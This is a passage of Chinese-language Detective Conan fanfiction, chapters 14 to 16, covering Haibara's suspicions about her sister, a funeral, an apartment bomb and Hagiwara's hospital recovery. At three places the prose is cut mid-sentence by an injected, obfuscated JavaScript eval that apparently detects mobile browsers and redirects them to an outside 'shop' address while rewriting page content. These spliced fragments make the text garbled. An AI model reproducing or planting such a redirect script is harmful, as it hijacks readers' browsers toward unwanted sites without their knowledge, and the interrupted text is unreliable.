“修理店还有个兼职店员,连挂名都没有的那种,只是偶尔来看看,叫做松田阵平,是萩原哥的发小。不过他的正业好像是警察,工作很忙,一直都是单身。” “除了他们两个,没有其他人吗?” “灰原,你的问题听上去好奇怪。” “我问你问题,你回答就好了!” “是是......其他好像真的没有了,我也不清楚她有没有什么其他朋友,我们真的不太熟——啊!我想起来了,她好像曾经说过一次!” “什么?” “那次我们在小兰家楼下的咖啡馆碰到一桩谋杀案,犯人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459040|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把作案用的刀片嵌进后厨一根西芹的根部试图逃脱罪责。那个案子收尾的时候,我记得她说......” “你们遇到的案子还真是奇奇怪怪的。她说什么?” “她说她有一个前男友特别喜欢西芹,但是她特别讨厌吃西芹,所以看到警察拎着那根西芹放进证物袋的时候,她下意识有点反胃。” “......” “......所以,嗯,对,就是你想的那样。她就算有过恋人,估计也闹得挺不愉快的吧。”】 从回忆中回过神来,灰原哀不禁又看向厨房里的人。 宫野明美的性格一直都很和善,面对普通女性,松田阵平似乎也收起了和星野真弓相处时那种有点毒舌的样子,有些寡言地偶尔回应几句。 不咸不淡的说话声伴随着锅碗瓢盆丁零当啷的响声,含糊地传进灰原哀的耳朵里。 她靠在沙发上,又仔细琢磨了一遍松田阵平那句“以前还算有人照顾......现在,凑活过吧”,半晌品出了一点不是滋味的感觉。 不是松田阵平,而是他眼中的星野真弓本人。 她的朋友似乎并不认为她过得好。或者说,他话里藏着连自己都可能没发现的一点担忧。 灰原哀眨眨眼,有些难以想象那个似乎总是运筹帷幄的女人连自己都照顾不好的样子。 半晌,她像是突然意识到了什么,猛地从沙发上站了起来。 “姐姐!” 宫野明美从厨房门探出一个头:“怎么了?” “姐姐,你过来一下。”灰原哀垂在身侧的手死死握着。 宫野明美有些疑惑地走进客厅里,她手上还占着洗洁精的泡沫,被灰原哀拽住衣角俯下了身。 “姐姐,”灰原哀紧盯着她的眼睛,用极轻的声音说,“那个让你去警察厅找星野真弓的人,到底是谁?” 这不是她第一次这么问了。但这次,她心里其实还藏着更多问题。 为什么你会突然获得星野真弓的联系方式?为什么你有那张写着神秘数字的纸条?为什么你站在警察厅大楼外打电话给写在官网上的服务热线,接电话的却是星野真弓本人? 为什么她这么信任你的来意,这么信任我的身份?万一我始终忠于组织呢?万一你的善良其实全是伪装呢? 那个人是谁?他是组织的人吗?是警方的人吗?你为什么信任他?他为什么信任你?他又为什么信任星野真弓? 这些话她没有问出口。她紧紧盯着姐姐温和的蓝绿色眼眸,试图看出些什么来。 以前,面对这个问题,姐姐一直只有沉默,这也使得她始终认为这个计划不太靠谱,但是今天,大概受到了派对轻松氛围的一丝感染,宫野明美竟然也有了些许动摇。 “......”她沉默了一会儿,半晌抬起占着泡沫的手,小心翼翼地用手肘抚了抚灰原哀的头发,露出一个有些勉强的笑。 “是一个朋友哦。但是,志保,我不会告诉你他是谁。” “为什么?” “因为这是姐姐和他的约定。” 灰原哀沉默着仔细打量她的表情,大概十几秒后,她沉沉呼出了一口气,放松下来,窝回了沙发里。 “好吧,既然是约定,那就不要告诉我了。” 她们背后,松田阵平的视线从客厅一扫而过。 他垂下眸若有所思,半晌勾唇轻笑一声,擦干最后一把菜刀上的水渍,把它放回原位。 14. 第十四章 松田阵平回到他在警察宿舍的公寓时大概下午四点。 他进门时萩原研二已经到了有一会儿,正坐在客厅的沙发上对着矮脚桌上的东西捯饬着什么。 星野真弓说要当甩手掌柜那就是认真当,修理厂基本都是萩原研二想什么时候下班就什么时候下班,店员当得比老板还自在。 松田阵平把西装脱下随手挂在衣架上,走近了才发现幼驯染正在捣鼓的是一个小型收音机,看上去有些年头了,泛着古旧的金属光泽。 “怎么样,有意思吧?附近的小孩送到店里来的。”萩原研二对他露出一个典型的Hagi式的微笑,“东西小,我干脆就带回家里修了。小阵平你也过来帮忙吧!” 松田有些晦涩地看了他正拿着螺丝刀比划的右手一眼,半晌扯开嘴角露出一个经典松田式恶人笑,就像曾经在警校时那样。 “全交给我,五分钟就能搞定,要不要比赛?” 萩原研二伸出左手在他微卷的头发上敲了一下。 “只有一个收音机,上哪比去啊?!” . 第二天是个难得的晴天。 星野真弓出门晨跑的时候正好撞见日出。她眯着眼欣赏了一会儿笼罩在阳光下的东京天际线,这才弯腰收紧鞋带,打开运动手表的长跑功能,向太阳洒下光辉的方向跑去。 她每天的晨跑之旅从位于新宿边缘的公寓出发,绕到不远的涩谷地区,横穿过米花町,最后结束于公寓旁的河岸。 不过今天她稍微更改了路线,这使得她在米花町遇见了正走向帝丹高中准备上学的毛利兰和她身边一个戴头箍的高中女生。他们身后还跟着一串小尾巴,分别是江户川柯南、灰原哀和三个不认识的小孩。 星野真弓远远地看到他们,放缓脚步上前打了个招呼。 “真弓桑,你这么早就出来晨跑吗!”毛利少女显然也很兴奋,自从她近距离参观了一遍那辆炫酷的兰博基尼Aventador,她回去刷了一晚上的跑车视频,越看越兴奋、越看越流口水,差点怀疑自己沉寂多年的高达情怀要重新冒头了。 现在星野真弓在她眼里,简直像个大写加粗的移动金字招牌,左边写着“有钱的大姐姐”,右边写着“好帅的大姐姐”。 “六点多出门,不早了。”星野真弓松开扎着马尾的皮筋,伸手拢了拢长发,“早啊,柯南君,还有这位是?” “啊,我是小兰的闺蜜,我叫铃木园子。”戴头箍的女高中生大方地介绍,“还有这些小鬼头,分别是灰原哀、吉田步美、圆谷光彦和小岛元太。” 星野真弓对小鬼头们笑了笑。虽然昨天才和灰原哀见过面,但她现在的样子让旁人完全看不出她们两人竟然早就认识。 她又抬起头看向铃木园子,“我是星野真弓,很高兴认识你,铃木小姐。家母向我提起过你。” “诶?真弓桑的母亲?”毛利兰一愣。 星野真弓却没多解释,又对铃木园子笑了笑:“你不记得是正常的,毕竟那时候你还是个小婴儿,你的父母大概会对小枫阿姨有些印象。” “啊,好的,我一定会回去问问爸爸妈妈的。”铃木园子虽然什么都想不起来,但还是礼貌地应下。 江户川柯南若有所地看着她们两人。灰原哀淡淡地瞥了他一眼,不动声色道:“啊啦,某位大侦探看起来对店长小姐很感兴趣啊。” “喂喂,灰原,你别乱说!” 虽然她声音很小,但江户川柯南还是赶紧对她“嘘”了一声,生怕小兰听到。 “我只是在思考她母亲和园子到底有什么关系啦!”名侦探小声道,“‘好奇心造就科学家和诗人’,你这个科学家应该也明白吧?” 他们俩对话的功夫,星野真弓已经和两名女高中生寒暄完,准备重新踏上晨跑之旅了。 她路过柯南时伸手用力揉了揉他的脑袋,在他有点懵地看过来时眨了眨眼:“下次见,柯南君。” 她很快跑得只剩下一个模糊的背影。 江户川柯南收回视线,不得不承认她确实是那种兼具漂亮与帅气的大姐姐。 运动让她英气十足的双眼显得更加有神,旁人完全起不了旖旎的想法,只能对她与生俱来的凌厉气质生出一份敬畏,就好像在任何时候,她都会是场面的控制者。 摇头甩掉脑海里的画面,江户川柯南的目光落回前方毛利兰的脸上,对方有着完全不同于远去女人的属于青涩少女的笑容。 . 星野真弓结束晨跑后回到公寓里,在主卧旁边的健身房完成了剩下的晨练。在第三百次握拳狠狠击中健身房角落的沙袋后,她脱下拳击手套去冲了个澡,又给家里的猫添置了猫粮。 黑色的Aventador轰鸣着驶离公寓楼车库时已经快早上十点了。她在市中心转了一圈,没多久就停在了萩原研二和松田阵平所住的公寓楼下。 附近一片都是警察公寓,不少单身刑警选择在这里租住,警察多的地方一向治安很好,虽然萩原研二严格意义上来说已经不是警察了,星野真弓还是给他和幼驯染在这里批了一间公寓住。 五分钟后,久违地换上黑西装的萩原研二坐进了Aventador的副驾驶。他不常坐星野真弓的车,跑车过低的底盘多少有些委屈那双大长腿。 “给你带了三明治,在置物架里。”星野真弓启动引擎。 “谢啦~”萩原研二附身拉开置物架,半晌,有些无语地转头看向星野真弓,“你平时都把手/枪、子弹、三明治、口红、香烟、打火机和工具箱混着放在一起的吗?” “哈哈,没办法,这车里能放东西的地方不多,没有往里面塞酒已经是我对交通法的尊重了。” 星野真弓眯着眼摇下自己这边的窗户,单手扶着方向盘,另一只手伸向萩原研二,“帮我点根烟。” “你跟小阵平都是一个德行......少抽烟,少喝酒,多注意身体啊。” 一如既往地唠叨了两句,萩原研二还是任劳任怨地从置物架里掏出那包烟,抽出一根递给她。 星野真弓抿住那根烟,微微向右附身方便萩原研二帮她点燃。她深吸一口,烟气被风吹出窗外,单手扶着方向盘在一座殡仪馆前停下了车。 “早去早回,有事打我电话。” 萩原研二打开车门,对她露出轻松的笑,“放心吧,小研二可是专业的。” 目送他挺拔的身影远去,星野真弓附身把置物架里的那盒烟拿了出来。 竟然是盒刚拆的烟。她眨眨眼,有些不记得自己什么时候往车里放了这包烟。她翻开烟盒的盖子,抽出里面所有的烟,只留了两根在里面,剩下的全部随手扔进了正巧立在车门旁的垃圾桶。 一天最多三根,她一向说到做到。 踩下油门找了个更隐蔽的地方等人,星野真弓有一搭没一搭地计算着——按照这个速度,明年上半年她应该就可以戒烟成功了吧。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459041|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 接近饭点的时候,萩原研二重新拉开了车门。 “亏你找得到,我还特意停在了视线死角。”星野真弓仰头看着他坐进来。 “不要小看我的观察力啊,Mayu酱。”萩原研二一笑,眉目间却有些沉重。 他刚刚去参加了一场葬礼。虽然和死者佐佐木大介非亲非故、本身也算不上熟悉,但亲眼看着一个活生生的人转眼变成一具冰冷的尸体,被推到空洞的金属器械里接受被火舌炙烤的命运,多少还是让他心情有些沉郁。 萩原研二曾经是警视厅机动队爆裂物处理班费了九牛二虎之力从SAT手里抢过来的精英拆弹手,他见过无数残缺不全的尸体,被炸弹炸残炸死的和卷进爆炸案里因为其他原因而死的应有尽有。 但不因见识惯了就觉得习以为常,这才是属于警察的悲悯之心。 星野真弓静静看了他一会儿,转回头按下发动机按钮,若无其事道,“等你的时候我又出去兜了一圈,给你买了点吃的垫垫肚子。” 萩原研二对她别扭的关心习以为常且从善如流,他打开置物架,看着里面那盒章鱼烧,有些忍俊不禁。 “Mayu酱,早上那个三明治分量真的超足,我完全撑得住。” 星野真弓瞪了他一眼,“让你吃就吃!” 萩原研二哈哈一笑,拆开章鱼烧的盒子,装模作样地叹了口气,“要是Mayu酱对自己的胃也这么好就好了,这样妈妈桑我啊,就算去天国也能放心了——” Aventador猛地刹车。 车轮磨摩擦地面发出刺耳的声音。前座的两人下意识顺着急刹车的势能往前撞,幸好岔路口正好是个红灯,两人又都是飙车高手,早就习惯了晃来晃去的驾驶经历,连那盒章鱼烧都安安稳稳的。 气氛似乎一瞬间直转而下。 “萩原研二!”星野真弓瞪着他咬牙怒斥了一声。 她平时说话勉强算得上随和,开玩笑的时候也不少,现在声音突然冷下来,才让人突然意识到她并不真的是什么温和知心的大姐姐。 半晌,她收回视线,低声道,“不要乱开玩笑。” “......”萩原研二看着她的侧脸,怔了怔,“......抱歉。” 他又郑重地重复了一遍,“抱歉,不会再说了,真弓。” 星野真弓抿了抿嘴,半晌才意识到自己的反应似乎有点太大了。 跑车停在路边,她垂下眼:“我答应你…...好好保养胃,但是不要再开那种玩笑了。” “那就一言为定了,Mayu酱。”萩原研二又露出轻松的微笑,“我监督你保养好胃,你监督我保护好命。” “你要是敢随便把小命丢掉,我就杀了你。”星野真弓盯着他,“不对,你要是敢死掉,我和阵平就一人揍你一拳。啊,还有剩下那帮人的份,那就我和阵平一人揍三拳,有两拳是替你自己揍的!” “诶——小阵平的拳头太可怕了,我可以申请减刑嘛?”萩原研二哈哈一笑。 车内似乎又回到了老友间轻松自在的氛围,星野真弓闻言不可置信地瞪了他一眼。 “萩、原、研、二,你是在小看上一届国际警察自由搏击大赛的女子组亚军吗?”她一拉变速杆,跑车重新上路,“松田阵平跟我打架还从来没轻易占过上风!” “......”萩原研二一怔,很快反应过来,舒展眉眼,“Mayu酱的拳头也超可怕——” 15. 第十五章 佐佐木大介的葬礼分为两个部分,上午进行遗体火化,下午家属将骨灰盒送进附近的墓园,举行正式葬礼。 星野真弓和萩原研二找了家寿司店解决午饭,主要是星野真弓在吃。萩原研二再三表示早上那个三明治分量真的超大,结果最后还是被店长大人强迫着吃了点寿司。 没办法,打工人在屋檐下,老板叫他干嘛他就得干嘛。 萩原研二苦中作乐地走进墓园,星野真弓下午不会再帮忙送他了,她回警察厅还有别的事。 佐佐木大介的父母正站在墓碑前,亲手把骨灰盒埋进去。他年迈的母亲上午差点哭到晕厥,现在似乎只剩下了小声啜泣的力气,全靠丈夫的搀扶才能勉强站立。 犯人行凶杀人的时候草率得宛如儿戏,手起刀落就轻易定夺了他人的生命,造成的伤害和疤痕却必须由活人来承担。 案件收尾,犯人入狱,负责案件的警官和检察官便也都大步向前走了,更别提那些永远冲在最前头的侦探们。但是像佐佐木夫妇这样的人又该何去何从呢? 萩原研二站在参加葬礼的人群中,垂眸回想起佐佐木大介的资料。 在他和佐佐木大介有限的接触里,他是一位话不多、有些沉默寡言的青年。虽然性格内向,但研究起东西来时非常专注,对摩托车的热爱也是真心的,萩原研二对他的了解不深,但挺有好感。 佐佐木大介是独生子,虽然身量不高、样貌平凡,但是从小到大都是优等生,高中时差点有希望进入东京大学少年班,虽然因为遭受校园霸凌导致抑郁休学,最终错过了这个机会,但他休养几年后还是靠着聪明才智和勤奋刻苦考上了横滨国立大学的生物医学系。 他原本的梦想是成为一名医药研发人员,大学毕业后却阴差阳错地进了PMDA当药品监测员。虽然和曾经的梦想失之交臂,但监督药品研发上市和他济世救人的梦想也算异曲同工,他立刻矜矜业业地投入到工作当中。 公安警察就是因为那种坚定的信念感注意到他的。在知道日本境内竟然藏有那么多非法研究所制造杀人药物后,佐佐木大介毅然答应成为公安的协助人。 到今天为止,他已经为警察厅工作了五年,间接或直接帮助公安警察破灭了多个非法研究所,在这期间他遇到了最终结束他生命的女朋友上野广子,也在两年前从上一任报告接收人那里调到萩原研二手下。 在葬礼上作为代表演讲的是其中一位佐佐木大介的朋友,萩原研二在演讲声中闭上了眼。 佐佐木大介的协助人履历上从来没有过不良记录。他总是谨慎高效地完成任务,在PMDA的本职工作也做得很好,一路升迁今年还调入了新药审查一部。他对女友和家人也隐瞒得很好......甚至有些太好了。 如果他的志向不是医药,大概会成为一个很好的警察。 萩原研二很清楚,在跟非法研究所有关的事情彻底结束前,佐佐木大介的父母不会有机会得知自己的独生子曾经为守护国家安全付出过这么多努力,还在监狱的上野广子大概也永远不会知道前男友与那个摩托车修理厂的真正关联。 此时此刻,他竟然有些庆幸星野真弓情急之下编出了那个关于“戒指”的谎言。 在和上野广子分手后,佐佐木大介确实痛苦了一段时间,但对方态度坚决,他属于医药领域的理性大脑也告诉他这下恐怕是真的没戏了。因此,他没有购买或者定制任何戒指。 即将在审理这件谋杀案的公诉法庭里作为证物出现的并不是他的戒指,而是复制来的、曾经属于星野真弓和某个人的约定。 但是,在佐佐木大介的父母有机会知道他“正义的伙伴”的那一面之前,展示给他们“深情爱人”的美名也算一种安慰了。至少他最后得以清白地死去,不用背负莫名其妙的骂名。 “行礼致哀——” 入葬完毕,宾客一起鞠躬哀悼。萩原研二也跟着微微躬身,中长发垂下挡住眼睫。 他一直等到最后宾客散场时才上前和佐佐木大介的父母交谈。随着儿子的骨灰盒埋入六尺之下,佐佐木夫人的灵魂似乎也一起从她体内被抽走了。她面色死寂地垂着脸,神色恍惚,脸上还有未干的泪痕。 一个家不能所有人同时倒下,虽然同样疲惫伤痛,佐佐木先生还是强撑着打起了精神。 他头发花白,已经上了年纪,早已退休开始颐养天年。谁也没想到独生子会在这个时候撒手人寰,竟然还是死于一场莫名其妙的误会。无处言说的憋闷和痛苦笼罩在老先生眼底,使得他行事看起来绝望但克制。 萩原研二的社交技能大概是与生俱来的天赋。他介绍了自己,又轻声谈起佐佐木大介,认真安慰两位失独老人,佐佐木夫妇的表情终于变得略微舒展一些。他扶住站立不稳的佐佐木夫人,三人一起向墓园外走去。 一小时后,他打车送佐佐木夫妇回到了他们居住的房子,又一路扶着老夫人坐到客厅里。佐佐木先生带他看了儿子大学以前住的卧室,然后主动邀请他一起去佐佐木大介生前居住的公寓整理遗物。 儿子死后,他们只去过那间公寓一次,此后就因为害怕触景生情再也没有去过。 这正是萩原研二的目的,他一口答应下来。 ...... 佐佐木大介生前独居的公寓位于新宿的一栋公寓楼。他经济状况尚算不错,有PMDA和公安协助人两笔工资,因此租住在一栋外观看起来面积挺大的公寓楼里。 萩原研二站在楼下朝上看了看,公寓楼笔直地插入东京湛蓝的天际线。6楼A间。他很清楚地记得资料中的地址。 佐佐木先生走进公寓楼,萩原研二扶着佐佐木夫人跟上。 刚刚一路上,他已经与佐佐木先生聊了一段时间,彼此熟悉了许多,老人看他的眼神里也多了几分欣赏。他退休前是中学化学老师,一辈子最喜欢聪明刻苦的年轻人。 “大介高中的时候曾经度过了非常艰难的一段时间,在这个集体主义国家,太过出挑和太过落后都是原罪,而大介很不幸地并不擅长应对那种伤害。”佐佐木先生按下电梯上行键。 “他为此付出的代价是错过提前入读东京大学的机会,等他有能力参加正常的升学考试时,因为休学而耽误了太多。” 他抬头看着电梯门上显示的数字一层一层地往下降。 “孩子,你曾经有过这样的经历吗?一瞬间,从云端坠落地狱。”佐佐木先生有些叹息道,“我是个老派的人,又落伍又迟钝,不知道关心孩子的心理健康,也不懂现代医学的手段,等我们发现他的抑郁症状时已经有些晚了,陪伴他治疗的两年是我人生中最不愿回忆的两年时光。坠落只是一瞬间,爬起来的过程才是无尽的折磨。” 萩原研二垂下眼,落在身侧的右手不自觉抽动了一下。 “一瞬间,从云端坠落地狱。” 好像有细密的针刺攻占了他的大脑,让他有一瞬间的恍惚,闭上眼似乎能感受到扑面的热火和硝烟。 电梯门发出“叮”的一声,佐佐木先生抬步迈了进去。他的步伐算不上稳,但不知为何倔强地没有配备拐杖。 按下6层后,他再度开口,“不过,再可怕的折磨,在结束的那一天也会带来苦尽甘来的幸福。孩子,如果你未来的人生遇到什么挫折,一定要记得相信那种幸福是真实存在的。” 他似乎想笑一下,却没有足够的力气扯动嘴角,最终形成了一个有些奇怪的表情。 “不过,属于我的这份幸福最终还是离我而去了。我接下来的生命,大概只是为了照顾好美惠而存在的。如果美惠也离开了我,那么......” 美惠是佐佐木夫人的名字。 “......我相信,未来的时光一定会在您和夫人的眼中继续刻下幸福印记的。”萩原研二强行打起精神安慰道。 不知道佐佐木先生有没有相信他的话,他保持着那个试图微笑又难以抽动嘴角的奇怪表情,点点头,“谢谢你,希望如此。” 电梯发出“叮”的一声,佐佐木先生抬步往外走去。 “左边第一间就是大介租住的地方。这是我第三次来这里,他租下这间房子没过多久就......我们只有搬家当天来过,第二次来时这里就已经是空房了。” 他拿出钥匙,插入门锁。 咔嗒一声。 出于谨慎,萩原研二上前一步,扶住佐佐木先生的手,“我来吧,这么久没人住,里面可能有些灰尘,您等我先散散灰再进去吧。” 佐佐木先生没有异议。他后退一步扶住似乎已经怔愣着失了魂的年迈老伴,看着面前的年轻人按下把手。 推开门的一瞬间,萩原研二就察觉到不对。 他习惯性多考虑一点,谨慎地只开了一条只比成年□□头大一点的门缝,但即使只有这点缝隙,也足够他瞬间察觉到门后流动的空气不正常。准确来说,空气中灰尘的含量和地面的整洁度完全不像好几天没有人来过的房子,他迅速反应过来,有其他人来过这里! 就在这时,“滴”的一声,某种机关似乎开始启动,昏暗的公寓里突然亮起一个泛着红光的计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459042|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时器,就在距离门口不远处。 萩原研二瞳孔一缩。 00:00:20 00:00:19 00:00:18 一瞬间,爆炸声混杂着痛苦的嘶吼闯进他的耳膜,伴随刺耳的蜂鸣声,萩原研二的右手无法控制地剧烈颤抖起来。 他的瞳孔开始涣散,面前昏暗公寓里仅剩的光亮、那个正在跳动的计时器似乎成了唯一占据他视线的东西。巨大的恐慌和心悸把他钉在原地,头痛和反胃感一齐炸开,身体像被裹在一只巨大的手里缓缓攥紧,缺氧、无法呼吸、死亡——死亡——死亡—— “孩子,你怎么了?” 佐佐木先生的声音那么模糊,计时器的跳动声却清晰如擂鼓。 面前鲜红的数字依旧在无情地坠落。 00:00:17 00:00:16 00:00:15 似乎有一千个佐佐木先生发出模糊的问话:“孩子,你还好吗?” 但是那片鲜红是如此刺目,狂乱地对他叫嚣着:死亡!死亡!死亡! “......” 冷汗从萩原研二额角落下。 不行。 不可以。 不能死。 佐佐木夫妇还在这里。我答应了真弓,不可以死。我是警察,我要救人。我是警察——你已经不是警察了!不,不对。不要愣着了,救人! 我是警察。我是警察。我是警察...... 萩原研二的左手忽然抽动了一下,他狠狠钳住正在颤抖的右手,力道之大几乎扣出血痕来。 他垂着头咬紧牙关,强迫自己保持清醒:“快去按电梯......!” 他干咳一声,拽动自己僵硬的身体,奋力将佐佐木夫人架在身上往前拖。 萩原研二几乎在嘶吼:“还有十五秒,那里面有炸弹!快去按电梯!” 佐佐木先生终于反应过来,下意识听从指令快步迈向电梯井。幸而6楼A栋离电梯井的距离够近,电梯也还没去其他楼层。萩原研二跟在他身后,用尽全身的力气将佐佐木夫人也扶到电梯前。 他的心跳正在急速轰鸣着,无法准确地使用心率进行计时,跑到电梯门边就意味着无法目视倒计时、放弃知道爆炸前的剩余时间,但不跑意味着必死无疑。 生死时刻,曾经经历过无数次训练、属于爆裂物处理班王牌拆弹手的大脑不用思考就瞬间做出了逃跑的判断。 心理学上有一个概念叫做“flightorfight”,战斗或逃跑反应。当遇到突发情况或危险时,人类的丘脑下部会产生应激反应,去甲肾上腺素极速分泌,在经历压力的两秒内大脑神经系统将迅速做出判断——是留下应敌,还是转身逃跑。 而在拆弹手的世界里,面对已经启动的倒计时,第一个选项从来不曾存在。 他在爆裂物处理班经历的无数反应训练、绕线练习、手指灵活度训练、每天日复一日的往返跑和负重跑、手持着水平仪从歪歪斜斜到奔跑时依旧稳如泰山,每一次摔倒再爬起,都是为了将大脑神经系统做出反应所需要的那两秒压缩到极致——1秒、0.5秒、0.1秒、乃至0秒。 炸弹面前没有侥幸。 电梯发出“叮”的一声,萩原研二一手拖着佐佐木夫人,一手用力将佐佐木先生按进电梯。他转过身用左手疯狂按动电梯的关门键,死死盯着电梯门不紧不慢地关上。 在电梯门和上的一刹那,炸弹爆炸了。 “轰——” 爆炸冲击瞬间正面穿透电梯门,拍打在电梯内的三人身上。 萩原研二早在爆炸前就背过身死死护住了佐佐木夫妇的头。他闭上眼闷哼一声,几秒后忍不住咳出一口鲜血。五脏六腑全都绞着痛,爆炸冲击耳膜造成的耳鸣声瞬间占据大脑的全部注意力。 幸好,电梯井和电梯缆绳似乎没有受到太大的影响,在轻微的晃动中电梯开始缓缓下降。萩原研二回头死死盯着电梯门口不断跳动的数字,头一次这么希望电梯能降得快一点、再快一点。 直到降到一楼,电梯再次发出“叮”的一声,属于人间的阳光终于穿过缓缓打开的门缝照了进来,远处隐隐绰绰地传来管理员模糊的喊叫声和脚步声。 意识到获救的那一刻,身体和精神的疼痛终于压过了勉强保持清醒的意志力。萩原研二缓缓阖上眼,终于晕了过去。 成百上千次的训练、曾经付出的努力和汗水到底没有背叛他。虽然这份回报来得太迟了些。 16. 第十六章 滴—— 滴—— 滴—— 隐隐约约地传来仪器运转的声音。 萩原研二缓缓睁开眼睛。 入目是一片雪白的天花板,他被白色刺得眯了眯眼,过了一会儿才反应过来自己正在医院。 一个熟悉的声音在病房里响起,伴随着不加掩饰的恐慌和惊喜,“Hagi,你醒了?” 萩原研二转动眼球,艰难地在病床边瞄到松田阵平的身影。 他眨眨眼,半晌扯动嘴角露出一个有些难看的笑。笑完才反应过来自己正戴着呼吸机,呼出气时白雾会覆盖住透明壳,松田阵平估计看不见他的笑容。 “别笑了。笑得太难看了。”松田阵平面无表情地盯着他,附身按下床边的呼叫铃,“你现在能听清楚我说话吗?” 萩原研二亮晶晶的紫色眼睛看着他,半晌又笑得弯了弯。 松田阵平不想看到他的笑容,他瞥过脸“啧”了一声,嘀咕道,“果然听不见。” 他似乎有备而来,掏出水笔,又翻出了一本随身笔记本,低头刷刷写字。 萩原研二一瞬不瞬地盯着他。 松田阵平合上笔,把笔记本翻转给他看。 【你没事了,佐佐木夫妇也没事,真弓正在和医生说话。】 萩原研二扫了一眼,笑眯着眼点点头。 松田阵平似乎更加烦躁了一点,他翻过一页又开始埋头写字。 【你要住院至少半个月。】 他在第三页纸上写到一半时,病房的门被拉开了。几个护士和一名医生走进来检查萩原研二的身体数据,他们身后还跟着眉心紧皱的星野真弓。 她似乎刚跟人打完电话,手里还拿着手机,进来走到病床边的第一件事就是给戴着呼吸机头上缠着绷带的萩原研二拍了张照。 “反正你肯定也听不到,你这幅惨兮兮的样子马上就会被其他几个人看到了。”她扯开嘴有些难看地笑了一下,低头在备忘录里打了几个字。 【照片非常帅,简直太帅了,萩原研二君。恭喜你,你还活着。】 萩原研二亮晶晶的紫色眼睛看了一眼手机屏幕,又看向她,不知道信没信。 松田阵平对她话不对版的行为见怪不怪,继续低头写着自己的笔记。 【住院期间禁麻辣、禁海鲜、禁冰饮、禁烟禁酒,我就住在这看着你,我们走着瞧。】 萩原研二看了一眼笔记本,视线又移回他脸上,眨了眨眼,莫名从中透出一股可怜兮兮的意味。 “你信不信他现在如果能张口肯定会说‘我本来就不抽烟喝酒,你们俩才应该禁烟禁酒’。”星野真弓双手抱臂,面无表情地盯着那双紫色的眼睛。 “呵,不用想都能猜到。自己一身毛病还整天操心别人。”松田阵平嗤笑一声。 萩原研二并不知道他们在说什么,只是眨巴着他此时唯一能动弹的那双大眼睛。 围在病床边的医生护士似乎终于记录好了数据,低声讨论了几句,最终那个唯一的女医生转过身对星野真弓和松田阵平点点头。 “幸亏送医及时,爆炸造成的冲击波损伤了他的内脏,还有轻微脑震荡,再晚一点就危险了。” 星野真弓和松田阵平对此心里也有数。他们都是跌打受伤的老手,一个人外伤内伤的严重程度他们大概扫一眼也能判断得八九不离十。 幸好当时那栋公寓的管理员反应够快,大概是作为东京市民从小逃生演练惯了,看到跌坐在电梯里的萩原三人后,二话不说打了急救电话。 星野真弓只关心那个唯一的问题。 “医生,他这次的应激反应大概会持续多久?” 女医生笑了笑,“放心,他已经从植物人状态里苏醒过来三年了,这次主要是不幸碰上了刺激源,突然诱发了他的创伤回忆,又在那种状态下强撑着同时进行了求生和救人的瞬间反应,几重叠加下,神经衰弱引发中枢神经系统失调才会再次进入植物人状态。这种状态大概会持续半天到一天左右,明天这个时候他应该就恢复了。” 她似乎想到了什么,郑重地说,“老实说,作为医生,我很清楚在PTSD(创伤性应激障碍)突然发作的情况下人体和精神会承受多大的压力和痛苦,特别是萩原先生的症状还伴随着中枢神经系统失调,他理应完全无法控制自己的身体。萩原先生竟然能够在承受着那种压力的同时完美救下两个老人,我真心地敬佩他的意志力和专业能力。萩原先生是一个非常令人尊敬的警察。” 星野真弓和松田阵平对视一眼,同时露出一个有些勉强的笑,没舍得反驳女医生萩原研二已经不是警察了。 她低头打字,展示给床上的病人。 【这次持续一天就结束了。】 萩原研二似乎笑了一下,又眨眨眼,星野真弓盯着他的眼睛看了一会儿,半晌拼出了一个单词:“O、K?” “......这家伙居然还有闲心报摩斯密码,他以为他自己还在便利店呢?”松田阵平眉头一皱。萩原研二的神情越轻松,他越笑不出来。 女医生不知道他说的便利店是什么,星野真弓却清楚他的意思。她叹了口气。 “病人的精神状态和各项数据都看起来不错,平时经常锻炼吧,应该会恢复得很快。”女医生笑了笑,“从植物人状态中脱离后,他的右手可能会出现持续几天的发抖症状,会慢慢恢复的,不用担心。护士五小时来换一次药,有事按铃就好,我的办公室在501。” 她对两位病人家属点点头,领着护士们走向下一个病房。 星野真弓拖了一把椅子坐下来,手撑在把手上歪头盯着萩原研二:“好久没这样和他讲话了,都有点不习惯了。” 松田阵平沉默了一会儿,半晌才应了一声。 “是啊。” 七年前,机动队爆裂物处理班的萩原研二警官经历过一场重大爆炸事故。他捡回一条命,却进入了植物人状态,当时的主治医生一度以为他永远不会醒来了。 奇迹在四年前发生了。萩原研二睁开了沉睡三年的眼睛。 